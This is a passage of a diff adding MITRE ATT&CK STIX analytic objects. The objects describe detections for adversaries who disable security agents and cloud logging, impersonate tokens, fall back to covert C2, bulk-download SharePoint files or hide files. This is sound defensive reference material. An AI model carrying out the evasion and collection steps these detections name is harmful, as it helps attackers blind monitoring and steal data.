"description": "Duration/volume thresholds for persistent sessions." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7faf6f37-f074-4b9d-be19-618c3516486d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0497#AN1369", + "external_id": "AN1369" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1369", + "description": "Detection of adversary behavior that disables or modifies security tools, including killing AV/EDR processes, stopping services, altering Sysmon registry keys, or tampering with exclusion lists. Defenders observe process/service termination, registry modification, and abnormal absence of expected telemetry.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:Security", + "channel": "EventCode=7045" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=5" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessNameExclusions", + "description": "List of expected administrative tools/processes to prevent false positives." + }, + { + "field": "TimeWindow", + "description": "Defines correlation window linking process termination, registry edits, and service stoppage." + }, + { + "field": "ServiceNames", + "description": "Customizable list of security service names per enterprise deployment." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bda03bab-3f0b-4bd0-8a8f-77bcb2b1ee7d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0497#AN1370", + "external_id": "AN1370" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1370", + "description": "Detection of adversaries attempting to stop or disable host-based security agents by killing daemons, unloading kernel modules, or modifying init/systemd service configurations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "auditd:CONFIG_CHANGE", + "channel": "delete: Modification of systemd unit files or config for security agents" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AgentServiceNames", + "description": "List of endpoint protection service names (varies across deployments)." + }, + { + "field": "AllowedAdminAccounts", + "description": "Accounts permitted to legitimately stop or reconfigure services." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9e9a5111-038b-4c68-a8bc-6d094723def4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0497#AN1371", + "external_id": "AN1371" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1371", + "description": "Detection of adversary disabling endpoint security tools by unloading launch agents/daemons, modifying configuration profiles, or using security/uninstall commands to remove agents.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of launchctl unload, kill, or removal of security agent daemons" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "macos:unifiedlog", + "channel": "Modification of system configuration profiles affecting security tools" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DaemonNames", + "description": "Expected security agent daemons (e.g., com.crowdstrike.falcon.Agent)." + }, + { + "field": "TimeWindow", + "description": "Detection correlation period for multiple security tool disable actions." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5d329e39-a38b-47cd-8d3d-fa7515280fd7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0497#AN1372", + "external_id": "AN1372" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1372", + "description": "Detection of adversaries disabling cloud monitoring and logging agents such as CloudWatch, Google Cloud Monitoring, or Azure Monitor by API calls or agent process termination.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "AWS:CloudTrail", + "channel": "Delete* / Stop*: DeleteAlarms, StopLogging, or DisableMonitoring API calls" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "APIActions", + "description": "Customizable list of cloud provider API calls related to monitoring/alerting disablement." + }, + { + "field": "UserContext", + "description": "Distinguishes adversary actions from authorized DevOps/CloudOps activities." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f421cbe1-d42e-45e9-adad-12c6ed0a5cb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0497#AN1373", + "external_id": "AN1373" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1373", + "description": "Detection of adversaries tampering with container runtime security plugins, disabling admission controllers, or stopping monitoring sidecars.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "kubernetes:audit", + "channel": "kubectl delete or patch of security pods/admission controllers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "NamespaceExclusions", + "description": "Exclusion of namespaces where temporary deletion of monitoring tools is legitimate (e.g., staging)." + } + ], + "x_mitre_platforms": [ + "Containers" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e542342f-5a08-408d-b292-797bcb2da5eb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0497#AN1374", + "external_id": "AN1374" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1374", + "description": "Detection of adversaries modifying startup configuration files to disable signature verification, logging, or monitoring features.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c", + "name": "networkdevice:config", + "channel": "write: Startup configuration changes disabling security checks" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ConfigBaseline", + "description": "Reference configuration state for detecting unauthorized modifications." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6eab700a-548f-48aa-8821-163682fe8bbe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0498#AN1375", + "external_id": "AN1375" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1375", + "description": "A process creates a brand\u2011new logon session/token (LogonUser*/LsaLogonUser) and then assigns/impersonates it (SetThreadToken/ImpersonateLoggedOnUser) to run actions under that freshly created security context. Chain: (1) suspicious command or script block (e.g., runas /netonly, PowerShell P/Invoke of LogonUser) \u2192 (2) ETW/API evidence of LogonUser*/SetThreadToken \u2192 (3) Security 4624 New Logon (often LogonType=9 NewCredentials or 2/3 from a non\u2011interactive parent) with no interactive desktop \u2192 (4) sysmon 1 process(es) executing with the new LogonId/SID different from the parent process \u2192 (5) optional privileged ops/lateral movement.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4624,4672" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", + "name": "etw:Microsoft-Windows-Security-Auditing", + "channel": "api_call: LogonUser(A|W), LsaLogonUser, SetThreadToken, ImpersonateLoggedOnUser" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window between LogonUser*/SetThreadToken and the first spawned process (default 5\u201310 minutes)." + }, + { + "field": "SuspiciousLogonTypes", + "description": "Which 4624 LogonTypes to treat as high risk (e.g., 9 NewCredentials, 3 Network when sourced locally)." + }, + { + "field": "AllowedImpersonators", + "description": "Processes/accounts legitimately creating tokens (e.g., winlogon.exe, lsass.exe, IIS worker, trusted service accounts)." + }, + { + "field": "ParentChildUserMismatch", + "description": "Whether to alert on any SID/LogonId mismatch between parent/child not in allow-list." + }, + { + "field": "IntegrityEscalationDelta", + "description": "Minimum integrity level jump (e.g., Medium\u2192High/System) to raise severity." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--fcb2ed1a-2f39-47e8-9524-95ceac0ff383", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0499#AN1376", + "external_id": "AN1376" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1376", + "description": "Establishing network connections on uncommon ports or protocols following C2 disruption or blocking. Often executed by processes that typically exhibit no network activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "uncommon ports" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DestinationPort", + "description": "Can be tuned to include unexpected or high-entropy ports not typically associated with the process." + }, + { + "field": "ProcessName", + "description": "Useful to filter benign applications vs suspicious fallback attempts." + }, + { + "field": "DataVolumeRatio", + "description": "Tunable ratio of sent/received bytes to indicate potential C2 beaconing or exfiltration." + }, + { + "field": "TimeWindow", + "description": "Adjust temporal window to match likely fallback C2 retries after primary channel fails." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a50c90f1-51b1-4948-8945-4b89735d4750", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0499#AN1377", + "external_id": "AN1377" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1377", + "description": "Creation of outbound connections on alternate ports or using covert transport (e.g., ICMP, DNS) from non-network-intensive processes, following known disruption or blocked traffic.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "outbound connections" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "alternate ports" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProtocolType", + "description": "Can filter for rare fallback channel types (e.g., ICMP, DNS over HTTP)." + }, + { + "field": "UserContext", + "description": "Tuning by user (e.g., root vs. service account) helps suppress noise." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3e682b33-5064-4202-aad7-ca1900fde1a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0499#AN1378", + "external_id": "AN1378" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1378", + "description": "Outbound fallback traffic from low-profile or background launch agents using unusual protocols or destinations after primary channel inactivity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "LaunchAgentContext", + "description": "Used to suppress known legitimate agents." + }, + { + "field": "PayloadEntropy", + "description": "Can help isolate covert or encrypted fallback traffic." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5e7eea18-14f5-4d76-b5cc-bc63a0e5ce65", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0499#AN1379", + "external_id": "AN1379" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1379", + "description": "Outbound traffic from host management services or guest-to-host interactions over unusual interfaces (e.g., backdoor API endpoints or external VPN tunnels).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "esxi:vmkernel", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "esxi:vpxd", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InterfaceName", + "description": "May vary based on ESXi build and should be filtered to suppress known interfaces." + }, + { + "field": "FallbackIPRanges", + "description": "Environment-specific ranges to ignore (e.g., DR tunnels or out-of-band mgmt)." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--afb1860a-e29a-4ce8-9524-ab371c5f8d4f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0500#AN1380", + "external_id": "AN1380" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1380", + "description": "Privileged or rarely used accounts performing bulk access to SharePoint files or metadata over a short time window, indicating potential scripted collection of sensitive internal documents.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "FileAccessed, FileDownloaded, SearchQueried" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "azure:signinlogs", + "channel": "UserLogin, ConditionalAccessPolicyEvaluated" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f", + "name": "m365:sharepoint", + "channel": "Multiple file download operations on a site by a privileged account in a short time window" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserContext", + "description": "Can be adjusted to focus on specific high-privilege or rarely-used service accounts" + }, + { + "field": "TimeWindow", + "description": "Defines the aggregation period for multiple download events (e.g., 10 minutes)" + }, + { + "field": "DownloadThreshold", + "description": "Minimum number of documents accessed/downloaded to trigger alert" + }, + { + "field": "SiteScope", + "description": "Limit detection to sensitive SharePoint sites such as HR, Finance, Engineering" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3cd889a5-7955-4d38-a49b-89e8d276ceab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0501#AN1381", + "external_id": "AN1381" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1381", + "description": "Detects compilation activity using csc.exe, ilasm.exe, or msbuild.exe initiated by user-space processes outside typical development environments, followed by execution or network activity from newly written binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "Filter for unexpected users (non-dev) launching compilers like csc.exe or msbuild.exe" + }, + { + "field": "OutputDirectoryPath", + "description": "Adjust paths for sensitive file write zones (e.g., `C:\\Users\\Public\\`, `%TEMP%`, or Desktop)" + }, + { + "field": "TimeWindow", + "description": "Tune the correlation window between compilation and subsequent execution or C2" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--774d555e-b94b-4dbd-bc3b-fb60d55e6e2d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0501#AN1382", + "external_id": "AN1382" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1382", + "description": "Detects GCC or Clang invoked on suspicious file paths (e.g., /tmp/, ~/Downloads) with output to executable binaries, followed by execution or outbound traffic from these binaries.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "auditd:SYSCALL", + "channel": "open,create" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "NSM:Flow", + "channel": "conn.log" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CompilerBinaryPath", + "description": "Specify path and binaries for detection (e.g., `/usr/bin/gcc`, `/opt/mingw/bin/gcc`)" + }, + { + "field": "FilePermissionProfile", + "description": "Match uncommon chmod behavior post-compilation (e.g., +x in `/tmp` or home directories)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--56a814a9-2b6b-4fcc-a530-e9ca62faaa17", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0501#AN1383", + "external_id": "AN1383" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1383", + "description": "Detects non-standard compilation activity via Xcode CLI tools or bundled GCC/MONO packages writing new executable files and executing them outside dev environments (e.g., user Downloads folder).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process activity, exec events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "macos:osquery", + "channel": "file_events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "networkd or socket" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CompilerInvocationPattern", + "description": "Detect calls to `xcodebuild`, `clang`, or `/Applications/Mono.app/...` from non-admin users" + }, + { + "field": "OutputBinaryPath", + "description": "Monitor for output files in user-writable paths (e.g., `~/Library/Caches`, `~/Downloads`)" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e01b29cd-2369-4ad5-bd91-98994f36cd1e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0502#AN1384", + "external_id": "AN1384" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1384", + "description": "Abuse of file/registry attributes to hide malicious files, directories, or services. Defender view: detection of attrib.exe setting hidden/system flags, creation of Alternate Data Streams, or registry keys altering file visibility.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileExtensions", + "description": "Filter for sensitive file types likely targeted for hiding." + }, + { + "field": "ADSDetection", + "description": "Enable or disable detection of Alternate Data Streams depending on business use." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--2c3ec402-b9e9-4091-a04d-3b73f260e669", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": 